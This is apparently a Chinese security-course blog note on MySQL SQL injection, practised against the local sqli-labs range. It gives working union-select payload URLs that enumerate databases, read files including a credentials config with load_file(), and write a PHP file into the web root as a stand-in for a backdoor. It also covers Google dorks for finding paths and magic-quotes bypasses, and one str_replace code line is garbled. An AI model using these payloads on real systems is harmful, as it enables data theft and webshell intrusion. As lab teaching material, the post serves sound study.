【小迪安全day13】WEB漏洞——SQL注入之MYSQL注入

本文探讨了MySQL SQL注入攻击,区分了高权限和低权限注入,并详细介绍了跨库查询、文件读写、路径获取、常见防护机制以及如何绕过魔术引号防护。通过实例展示了如何利用SQL语句获取数据库信息、读取和写入文件,同时提到了WAF防护软件的作用。

MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。
在这里插入图片描述

使用sqlilabs靶场测试

可以看到这个用户名时是root,是最高权限,除root之外都是普通用户
在这里插入图片描述

1、高权限注入及低权限注入

(1)跨库查询及应用思路

原理:一个网站的注入点影响到另一个网站的数据,需要root型注入点

查看数据库:show databases;
在这里插入图片描述
通过’ select * from mysql.sql; '语句,查询数据库中所有数据库用户;普通用户的权限低,只有root用户可以注入到其他数据库
在这里插入图片描述
内置数据库 information_schema 表特性:
记录schemata库名,tables表名,columns列名
在这里插入图片描述
查询schemata
在这里插入图片描述

实现跨库注入,首先需要获得跨库的数据库的名字

  • 通过SQL语句注入,获得所有数据库名字

http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
注意:group_concat()可以获取所有的

在这里插入图片描述

  • 获取指定dvwa数据库名下的表名信息

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’
在这里插入图片描述

  • 获取指定dvwa数据库名下的表名users下的列名信息

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
在这里插入图片描述

如果直接这样写,很可能把其他数据库里面的users给查询出来,需要再做一些其他添加

如下:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’

在这里插入图片描述

跨库选择表:需要在表前添加该表的数据库名称,否则会默认为当前库的表,如select * from dvwa.users;
在这里插入图片描述

(2)文件读写操作

会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。

MySQL数据库里两个内置函数:
load_file(): 读取函数
into outfile 或者 into dumpfile:导出/写入函数

导入文件时报错,需要修改my.ini配置文件
在这里插入图片描述
设置好后查看权限
在这里插入图片描述

后续还是报错,发现需要把文件写入有权限的文件夹中

select ‘x’ into outfile ‘D:/phpStudy_64/phpstudy_pro/Extensions/MySQL5.7.26/outfile/1.txt’;

在这里插入图片描述
文件创建成功:
在这里插入图片描述

3、路径获取常见方法:

报错显示,遗留文件,漏洞报错,平台配置文件,爆破等;

(1)报错显示

intext:warning inurl:php
在这里插入图片描述

(2)遗留文件

inurl:phpinfo.php
类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的
可以用工具扫描到
在这里插入图片描述

(3)漏洞报错

知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径、phpmyadmin等
在这里插入图片描述

在这里插入图片描述

(4)平台配置文件

搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取

在这里插入图片描述

(5)爆破

极端情况才使用
在这里插入图片描述

4、常见读取文件列表

查看之前创建的1.txt文件

http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,load_file(‘D:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\outfile\1.txt’),3
注意:一定要是双斜杠 \ ,防止转义

出现了1.txt文件内容 x
在这里插入图片描述

查看sqlilabs的配置文件db-creds.inc

http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select% 1,load_file(‘D:\phpStudy_64\phpstudy_pro\WWW\sqlilabs\sql-connections\db-creds.inc’),3

检查源代码,发现配置文件已出现
在这里插入图片描述

5、常见写入文件

写入x到x.php文件中

http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,‘x’,3 into outfile ‘D:\phpStudy_64\phpstudy_pro\WWW\sqlilabs\x.php’–+
注意:末尾需要加–+来注释掉limit

在这里插入图片描述
源码中的limit 0,1
在这里插入图片描述
文件生成成功:
在这里插入图片描述
查看x.php文件,1 3不相干不用管,只要x写入了就行
在这里插入图片描述
在实战中x就是后门代码,x.php可以用后门工具连接上去,相当于获取到网站的权限,可以一步到位

7、常见写入文件问题:魔术引号开关

magic_quotes_gpc
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,导致路径错误。这些转义是必须的。

绕过防护机制的方法:

7、魔术引号及常见防护

(1)采用编码或者宽字节

采用编码或者宽字节,利用工具把路径编码一下,转成十六进制,就可以不需要使用单引号,就可以正常解析
在这里插入图片描述

(2)采用内置函数进行防护

在这里插入图片描述
还有更多内置函数也可以进行防护
正常情况遇到的不多

(3)自定义关键字:select

修改less-2的文件,添加语句id=strreplace(′select′,′fuck′,id=str_replace('select','fuck',id=strreplace(select,fuck,id); ,将select转换成fuck;
在这里插入图片描述
http://127.0.0.1/sqlilabs/Less-2/?id=1 union select 1,2,3
在这里插入图片描述

(4)WAF防护软件:安全狗,宝塔等

在这里插入图片描述

8、低版本数据库注入配合读取和暴力

字典或读取;
暴力查询或结合读取查询;
sqlmap下的字典
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值